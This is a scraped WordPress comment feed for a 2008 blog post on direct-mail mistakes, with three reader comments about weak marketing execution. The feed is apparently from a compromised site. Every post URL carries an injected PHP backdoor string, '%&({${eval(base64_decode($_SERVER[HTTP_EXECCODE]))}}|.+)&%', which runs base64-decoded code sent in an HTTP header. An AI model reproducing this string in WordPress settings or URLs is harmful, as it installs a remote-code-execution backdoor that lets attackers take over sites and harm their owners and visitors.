Comments on: Sometimes I shake my head and sigh http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Quo vadis? Direct Response That Gets Results Thu, 14 Aug 2008 14:16:19 -0400 http://wordpress.org/?v=2.9.2 hourly 1 By: Mark http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-12 Mark Sat, 23 Feb 2008 01:01:12 +0000 http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/#comment-12 While I find many of these mistakes both sad and comical, what gets me upset is that back at corporate HQ senior management saying "...direct mail doesn't work anymore..." A little execution and craftsmanship goes a long way! While I find many of these mistakes both sad and comical, what gets me upset is that back at corporate HQ senior management saying "...direct mail doesn't work anymore..."

A little execution and craftsmanship goes a long way!

]]> By: Tom Donegan http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-11 Tom Donegan Sat, 23 Feb 2008 00:49:19 +0000 http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/#comment-11 Wow, once you see a first class postage, much less first class with no live stamp, on any direct mail, you know it can only get worse on the inside........ My favorite feature is no offer with a "logo tower" repeated several times with no punch or impact? PS: I am glad to see that both Verizon and Marriott/Visa are helping to keep postal rates down for me by using first class mail needlessly:) Wow, once you see a first class postage, much less first class with no live stamp, on any direct mail, you know it can only get worse on the inside........

My favorite feature is no offer with a "logo tower" repeated several times with no punch or impact?

PS: I am glad to see that both Verizon and Marriott/Visa are helping to keep postal rates down for me by using first class mail needlessly:)

]]> By: Roger Shapiro http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-10 Roger Shapiro Wed, 20 Feb 2008 20:17:15 +0000 http://mapconsultingllc.com/blog/2008/02/19/sometimes-i-shake-my-head-and-sigh/#comment-10 I really appreciate your head shaking. Your comments on the .pdf are on the money. Too often people today forget the basics of good marketing communications. They try to skip steps or use cool graphics instead of direct communication. All the technology in the world ... and all the cost-cutting ideas ... won't replace excellent execution. I really appreciate your head shaking. Your comments on the .pdf are on the money.
Too often people today forget the basics of good marketing communications. They try to skip steps or use cool graphics instead of direct communication.
All the technology in the world ... and all the cost-cutting ideas ... won't replace excellent execution.

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